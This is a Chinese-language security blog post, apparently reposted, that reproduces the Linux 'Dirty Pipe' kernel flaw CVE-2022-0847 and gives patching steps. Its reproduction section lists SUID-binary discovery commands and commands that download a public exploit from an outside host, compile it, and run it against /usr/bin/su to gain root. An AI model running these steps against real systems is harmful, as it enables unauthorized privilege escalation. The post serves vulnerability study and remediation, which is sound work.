CVE-2022-0847漏洞复现

admin 2022年3月13日23:21:20评论134 views字数 2232阅读7分26秒阅读模式



网安引领时代,弥天点亮未来   






 

CVE-2022-0847漏洞复现

0x00写在前面


本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!



CVE-2022-0847漏洞复现

0x01漏洞描述
    CVE-2022-0847是自 5.8 以来 Linux 内核中的一个漏洞,攻击者利用该漏洞可以覆盖任意只读文件中的数据。这样将普通的权限提升至root权限,因为非特权进程可以将代码注入到根进程。

     CVE-2022-0847类似于 CVE-2016-5195 “Dirty Cow”(脏牛提权),而且容易被利用,网页翻译过来叫脏管道。新管道缓冲区结构的“flag”成员在Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化的方式存在缺陷,因此可能包含陈旧值。非特权本地用户可以使用此漏洞写入由只读文件支持的页面缓存中的页面,从而提升他们在系统上的权限。

 

CVE-2022-0847漏洞复现

0x02漏洞影响

Linux Kernel版本 >= 5.8

Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102

 

CVE-2022-0847漏洞复现

0x03漏洞复现

1.漏洞环境

uname -a

CVE-2022-0847漏洞复现

2.切换到普通用户,进行漏洞利用

CVE-2022-0847漏洞复现

   SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

   在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限

find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;

通过下载或上传漏洞利用exp到目标服务器

wget https://haxx.in/files/dirtypipez.c

CVE-2022-0847漏洞复现

gcc -o dirtypipez dirtypipez.c

CVE-2022-0847漏洞复现

./dirtypipez /usr/bin/su

执行编译后到exp结合suid方式进行权限提升

CVE-2022-0847漏洞复现




CVE-2022-0847漏洞复现

0x04修复建议

升级 Linux 内核

ubuntu  

选择对应架构平台不受影响的内核版本文件,下载并安装,重启,例如:

sudo wget http://ftp.sjtu.edu.cn/sites/elrepo.org/linux/kernel/el7/x86_64/RPMS/kernelml-devel-5.16.11-1.el7.elrepo.x86_64.rpmsudo wget http://ftp.sjtu.edu.cn/sites/elrepo.org/linux/kernel/el7/x86_64/RPMS/kernelml-5.16.11-1.el7.elrepo.x86_64.rpmyum -y install kernel-ml-devel-5.16.11-1.el7.elrepo.x86_64.rpm el7/x86_64/RPMS/kernelml-5.16.11-1.el7.elrepo.x86_64.rpmsudo vim /etc/default/grub # 将GRUB_DEFAULT=saved 改为 GRUB_DEFAULT=0sudo grub2-mkconfig #重建内核sudo reboot #重启uname -r #查看当前内核版本

centos 

选择对应架构平台不受影响的内核版本文件,下载并安装,重启,例如:

centos7

sudo wget http://ftp.sjtu.edu.cn/sites/elrepo.org/linux/kernel/el7/x86_64/RPMS/kernelml-devel-5.16.11-1.el7.elrepo.x86_64.rpmsudo wget http://ftp.sjtu.edu.cn/sites/elrepo.org/linux/kernel/el7/x86_64/RPMS/kernelml-5.16.11-1.el7.elrepo.x86_64.rpmyum -y install kernel-ml-devel-5.16.11-1.el7.elrepo.x86_64.rpm el7/x86_64/RPMS/kernelml-5.16.11-1.el7.elrepo.x86_64.rpmsudo vim /etc/default/grub # 将GRUB_DEFAULT=saved 改为 GRUB_DEFAULT=0sudo grub2-mkconfig #重建内核sudo reboot #重启uname -r #查看当前内核版本

其它版本

到 https://kernel.org/  下载对应版本的内核文件,进行编译

 

CVE-2022-0847漏洞复现

0x05参考链接

https://www.freebuf.com/company-information/324470.html

      



CVE-2022-0847漏洞复现 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室

CVE-2022-0847漏洞复现




原文始发于微信公众号(弥天安全实验室):CVE-2022-0847漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月13日23:21:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-0847漏洞复现https://cn-sec.com/archives/827798.html

发表评论

匿名网友 填写信息